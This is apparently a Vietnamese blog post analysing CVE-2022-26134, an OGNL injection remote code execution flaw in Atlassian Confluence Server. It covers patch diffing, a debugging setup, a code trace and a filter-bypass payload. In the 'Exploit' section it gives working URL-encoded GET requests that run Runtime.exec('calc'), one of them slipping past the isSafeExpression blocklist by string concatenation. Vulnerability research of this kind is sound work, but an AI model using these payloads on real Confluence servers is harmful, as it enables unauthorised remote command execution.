Atlassian Confluence Vulnerability Analysis CVE-2022-26134

Atlassian Confluence Vulnerability Analysis CVE-2022-26134


Tiếp tục với những bài viết research về 1day thì mình đã chọn CVE-2022-26134 để phân tích. Đây là 1 CVE về Confluence Server OGNL Injection dẫn đến có thể thực thi mã từ xa. Dưới đây mình sẽ nói rõ về cách diff, setup debug và lỗ hổng này nó sẽ được thực hiện như nào. Let's go..

Patch Analysis

Confluence đã public lỗ hổng tại đây Reference_Links. Ban đầu lúc mình theo dõi thì chưa có bản vá nào chính thức và chưa có những cập nhật nào cụ thể, chỉ có hướng dẫn là filter ${} => Mình nghĩ tới liên quan đến OGNL Injection vì Confluence đã từng bị lỗi liên quan đến OGNL Injection nên mình lúc đầu đoán rằng có thể bypass gì ở đây. Tới lúc công bố bản vá cụ thể và chi tiết thì mình đã quyết định tải bản mới nhất (bản patch) và bản bị lỗi về để diff. LINK_DOWNLOAD

Một số điều cần làm để vá lỗ hổng này:

  • Tải file xwork-1.0.3-atlassian-10.jar

  • Xóa xwork-1.0.3-atlassian-8.jar mà server đang dùng.

  • Thay thế file vừa xóa bằng file vừa tải về.

\=> Vậy có lẽ những điều mình cần chú ý và cần diff nằm trong file xwork-1.0.3-atlassian-10.jarxwork-1.0.3-atlassian-8.jar

Lúc đầu mình tính sử dụng winmerge để diff 2 bản này, nhưng người anh trong phòng stk đã chỉ mình sử dụng 1 tính năng trong Intellij.

Command diff:

.\idea64.exe diff "[Folder_Ver7.18.0]" "[Folder2_Ver7.18.1]"

Sau khi load xong thì tìm tới file xwork-1.0.3-atlassian-10.jar

Vậy có thể thấy được trong bản mới nhất thì file xwork-1.0.3-atlassian-8.jar đã bị xóa và thay bằng file xwork-1.0.3-atlassian-10.jar. Để diff 2 file này với nhau thì cần làm như dưới đây:

  • Bôi đen 2 file như trên

  • Sau đó chọn Compare New Files with Each Other

Sau khi load xong thì thấy được 1 sự thay đổi nhỏ ở trong 2 file này

  • Trong hàm execute của class ActionChainResult.class xóa đoạn xử lí Ognl

  • Xóa luôn 2 lib đã import là com.opensymphony.xwork.util.OgnlValueStackcom.opensymphony.xwork.util.TextParseUtil.

Vậy bây giờ mình đã biết được điểm mẫu chốt nằm ở đâu và giờ cần đi setup và debug.

Setup (Môi trường Windowns)

Sau khi tải bản 7.18.0 (zip) thì mình đã sửa lại thêm 1 chút trong file catalina.bat để debug.

set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

Để tạo database thì dựng 1 docker chạy postgres. File docker-compose.yml dưới đây. Ở đây mình chạy docker bằng máy ảo xong forward port ra nhé.

version: '2'
services:
  db:
    image: postgres:12.8-alpine
    ports:
      - 5432:5432
    environment: 
    - POSTGRES_PASSWORD=postgres
    - POSTGRES_DB=confluence

Ở trong Intelij thì chỉ cần chọn Remote JVM Debug và giữ nguyên config nhé.

Command chạy confluence:

.\catalina.bat run
  • Sau khi chạy thành công thì truy cập http://localhost:8090 và làm theo các bước hiện ra.

  • Setup databse thì chỉ cần điền các thông tin sau

      host: localhost
      port: 5432
      db: confluence
      user: postgres
      pass: postgres
    

Giao diện của Confluence sau khi cài đặt thành công.

Phân tích

Đầu tiên đặt breakpoint ở trong hàm execute

Truy cập vào đường dẫn /users/viewmyprofile.action (ở đây mình chọn ở đây) thì thấy trigger được breakpoint. Trace xuống đoạn xử lí Ognl

  • namespace là đoạn path mình truyền vô nhưng chỉ lấy đến /users

  • Dòng 63 khởi tạo, gọi đến thư viện được import.

  • Dòng 64 đưa namespace đã tạo và stack vào hàm translateVariables ở trong file TextParseUtil. Vậy sẽ nhảy f7 nhảy vào đây xem hàm này sẽ xử lí như nào.

  • Gán /users cho expression và sau đó mang đi xử lí regex.

  • Dòng 17,18 check expression có nằm trong ${} thì sẽ đưa các giá trị đó vô hàm findValue để check.

  • Cuối cùng append các giá trị đó vô chuỗi sb.

  • Do hiện tại expression của mình đưa vào là /users không nằm trong ${} nên sẽ không nhảy vào loop mà nhảy xuống đoạn phía dưới

Sau khi thoát khỏi hàm thì sẽ tiếp tục vô đoạn code này

  • Tiếp tục kiểm tra actionName như namespace theo hàm ở trên

  • Theo mình thấy thì hiện tại actionName mình không thể control.

Vậy bây giờ thử truyền ${7*7} xem nó sẽ xử lí như nào.

GET //%24%7B7%2A7%7D HTTP/1.1
Host: localhost:8090
Connection: close

Khi request như này thì có 1 điều kì lạ là chương trình không trigger breakpoint đã đặt ở trong hàm execute. Mình quyết định quay về với request ban đầu và tìm tại sao nó lại trigger breakpoint

Chú ý về Stack Frames thì thấy được trước vô hàm execute thì request đã đi qua ServletDispatcher. Giải thích xíu về ServletDispatcher thì những request nào cũng sẽ đi qua như mô tả hình dưới đây, có thể hiểu nôm na nó sẽ là 1 cái cổng chính trong nhà.

Đây là 1 đoạn Stack Frames mà chương trình hoạt động tới khi breakpoint dừng.

Chương trình sẽ gọi đến hàm service ở trong file ServletDispatcher.class

  • Đoạn code này sẽ hoạt động là đưa các request vô getNameSpace, getActionName, getRequestMap, getParameterMap, getSessionMapgetApplicationMap để xử lí.

  • Trong các hàm trên thì thấy có 1 hàm quan trọng và dẫn đến tại sao khi mình thử payload /{7*7} thì breakpoint sẽ không ngắt đó là hàm getNamespaceFromServletPath

public static String getNamespaceFromServletPath(String servletPath) {
        servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
        return servletPath;
    }
  • servletPath là đoạn request mình đưa vào, sau đó sẽ được được hàm substring xử lí

  • Hàm substring sẽ lấy từ đầu chuỗi request mình nhập vào tới khi dấu /. Để nhìn thấy rõ hơn thì nhìn vào debug bên dưới đây

  • servletPath chính là /users/viewmyprofile.action mà mình truyền vào

  • Sau khi xử lí thì servletPath chỉ còn lại /users

Vậy tới đây đã biết lí do tại sao mà lúc thử /%24%7B7%2A7%7D thì sẽ không trigger breakpoint vì thiếu dấu / ở cuối.

Đặt breakpoint ở dòng 84 thì thấy được expr được compile

Sau khi compile và thoát ra khỏi hàm findValue thì kết quả trả về là 49 => Đã inject thành công.

Vậy bây giờ chỉ cần thay payload để RCE. Dưới đây là payload mình sử dụng:

${@java.lang.Runtime@getRuntime().exec("calc")}

Request:

GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22calc%22%29%7D/ HTTP/1.1
Host: localhost:8090
Connection: close

Sau khi requets thì calc không được chạy, theo lí thuyết như trên thì đáng lẽ là payload trên phải hoạt động. Vì vậy mình quyết định debug với payload này xem điều gì đã xảy ra, khiến payload này không hoạt động, có vẻ như mình đã bỏ qua thứ gì đó.

Chú ý kĩ lại thì thấy trước khi đi vào complie thì có đi qua một đoạn check nữa ở hàm isSafeExpression.

public boolean isSafeExpression(String expression) {
        return this.isSafeExpressionInternal(expression, new HashSet());
    }

Hàm này sẽ gọi đến hàm isSafeExpressionInternal với 2 tham số là expression mình truyền vào với 1 HashSet.

Hàm isSafeExpressionInternal:

    private boolean isSafeExpressionInternal(String expression, Set<String> visitedExpressions) {
        if (!this.SAFE_EXPRESSIONS_CACHE.contains(expression)) {
            if (this.UNSAFE_EXPRESSIONS_CACHE.contains(expression)) {
                return false;
            }

            if (this.isUnSafeClass(expression)) {
                this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
                return false;
            }

            if (SourceVersion.isName(this.trimQuotes(expression)) && this.allowedClassNames.contains(this.trimQuotes(expression))) {
                this.SAFE_EXPRESSIONS_CACHE.add(expression);
            } else {
                try {
                    Object parsedExpression = OgnlUtil.compile(expression);
                    if (parsedExpression instanceof Node) {
                        if (this.containsUnsafeExpression((Node)parsedExpression, visitedExpressions)) {
                            this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
                            log.debug(String.format("Unsafe clause found in [\" %s \"]", expression));
                        } else {
                            this.SAFE_EXPRESSIONS_CACHE.add(expression);
                        }
                    }
                } catch (RuntimeException | OgnlException var4) {
                    this.SAFE_EXPRESSIONS_CACHE.add(expression);
                    log.debug("Cannot verify safety of OGNL expression", var4);
                }
            }
        }

        return this.SAFE_EXPRESSIONS_CACHE.contains(expression);
    }
  • Đoạn code này mình chỉ cần chú ý đoạn OgnlUtil.compile(expression) parse thành các AST node rồi xong sẽ được đưa vào hàm containsUnsafeExpression để kiểm tra.

  • Nếu như có thể vượt qua được hàm check này nữa thì payload sẽ hoạt động.

Hàm containsUnsafeExpression

  • Các AST node được parse sẽ được duyệt qua từng node rồi so sánh với từng điều kiện để xem có hợp lệ hay không. Những yếu tố được check là:

    • node type

    • className

    • methodName

    • variable name

Điều kiện để qua được những điều này:

  • node type không nằm trong 3 type:

  • className phải thuộc 1 trong 9 class:

  • 2 method không được sử dụng:

  • Một số variable unsafe:

  • Trong hàm containsUnsafeExpression tại dòng 111 check class không được nằm trong các class dưới đây thông qua hàm isUnSafeClass:

Vậy bây giờ mình sẽ quay lại debug payload không hoạt động ở trên để xem payload đó bị fail ở bước nào.

  • khi duyệt qua node đầu tiên thì className là java.lang.Runtime => không nằm trong những className được cho phép, nên trả về true => payload mà mình nhập vào unsafe.

Khi ra khỏi hàm findValue thì trả về null => payload này không thể hoạt động.

Vậy mình thử 1 payload khác với kĩ thuật gọi trực tiếp class Class và nối 2 chuỗi con lại với nhau để trở thành java.lang.Runtime để bypass hàm isUnSafeClass.

Exploit

Payload:

${"" + Class.forName("java." + "lang.Runtime").getMethod("getRuntime", null).invoke(null,null).exec("calc")}}

Request

GET /%24%7b%22%22%20%2b%20Class.forName(%22java.%22%20%2b%20%22lang.Runtime%22).getMethod(%22getRuntime%22%2c%20null).invoke(null%2cnull).exec(%22calc%22)%7d%7d/ HTTP/1.1
Host: localhost:8090
Connection: close

Trigger calc thành công

Payload dưới đây có thể sử dụng cho version 7.13.6 vì ở trong hàm findValue không có hàm check isSafeExpression.

${@java.lang.Runtime@getRuntime().exec("calc")}

:::info Những version nào mà trong hàm findValue không có hàm check isSafeExpression đều có thể sử dụng payload này nhé. :::

Tóm tắt chương trình

  • Trước khi namespace nhận đầu vào thì đi qua hàm getNamespaceFromServletPath trong file ServletDispatcher.class. Đầu vào phải có / ở cuối vì hàm này sẽ xử lí lấy input tới /.

  • Check giá trị namespace nằm trong ${} thì nhảy vào hàm findValue kèm theo giá trị đó.

  • Check giá trị qua hàm isSafeExpression trong file SafeExpressionUtil.class và hàm này gọi đến isSafeExpressionInternal để thực hiện check đầu vào có unsafe hay không.

  • Đầu vào sẽ được parse thành các AST node thông qua hàm OgnlUtil.compile

  • Lặp qua các node đó qua một số điều kiện như mình đã phân tích ở trên.

  • Cuối cùng nếu như đầu vào unsafe thì sẽ trả về null, còn không thì trả về kết quả của OGNL execute.

Reference

Lời kết

Cảm ơn mọi người đã đọc về bài phân tích, hi vọng mọi người góp ý để những bài phân tích sau của mình sẽ chất lượng hơn. Hiện tại mình đang tập tành phân tích nên có thể chưa được chuyên sâu và hay lắm, mình sẽ cố gắng có những bài blog hay hơn (◕︵◕)